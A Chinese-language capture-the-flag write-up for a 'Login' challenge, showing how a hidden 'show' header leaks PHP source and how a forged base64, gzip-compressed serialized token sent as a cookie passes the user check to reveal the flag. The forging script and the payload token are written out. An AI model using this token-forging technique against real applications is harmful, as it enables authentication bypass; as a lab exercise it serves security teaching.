1. 程式人生 > >Login ------------------ “百度杯”CTF比賽 十月場

Login ------------------ “百度杯”CTF比賽 十月場

登入介面

右鍵檢視原始碼

沒有什麼資訊(才怪嘞(╯‵□′)╯︵┻━┻),往下劃拉,最底下有驚喜

應該就是賬號密碼了,用它們登入後只有一個表情,好像也沒啥資訊

檢視原始碼也木有發現

用Burp抓包看看,響應包裡面有個show引數很可疑啊

在請求包裡改成 show: 1 新增試試

返回了原始碼

<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
  public $where;
  function __wakeup()
  {
    if(!empty($this->where))
    {
      $this->select($this->where);
    }
  }
  function select($where)
  {
    $sql = mysql_query('select * from user where '.$where);
    return @mysql_fetch_array($sql);
  }
}
if(isset($requset['token']))
{
  $login = unserialize(gzuncompress(base64_decode($requset['token'])));
  $db = new db();
  $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
  if($login['user'] === 'ichunqiu')
  {
    echo $flag;
  }else if($row['pass'] !== $login['pass']){
    echo 'unserialize injection!!';
  }else{
    echo "(╯‵□′)╯︵┴─┴ ";
  }
}else{
  header('Location: index.php?error=1');
}
?>

審計程式碼,發現登入賬號 user 必須是 ichunqiu 才會顯示flag

 if($login['user'] === 'ichunqiu')   {     echo $flag;

並且user被處理過

$login = unserialize(gzuncompress(base64_decode($requset['token'])));

相關函式:

unserialize:對單一的已序列化的變數進行操作,將其轉換回 PHP 的值

gzuncompress:解壓被壓縮的字串

base64_decode:base64解碼

分析可知,login是通過token接收user,並進行base64解碼,再解壓縮,反序列化

那麼我們只要對其進行一系列逆操作就行,先處理 ichunqiu 字串

<?php
$a = array("user"=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($a)));
echo $a
 
?>

將以上程式碼儲存為ichunqiu.php檔案,在本地開啟(這使用的wamp,放在www目錄下),瀏覽器裡面輸入127.0.0.1/ichunqiu.php 即可

複製返回的字串,在請求包中建立一個cookie token:eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

Go 獲得flag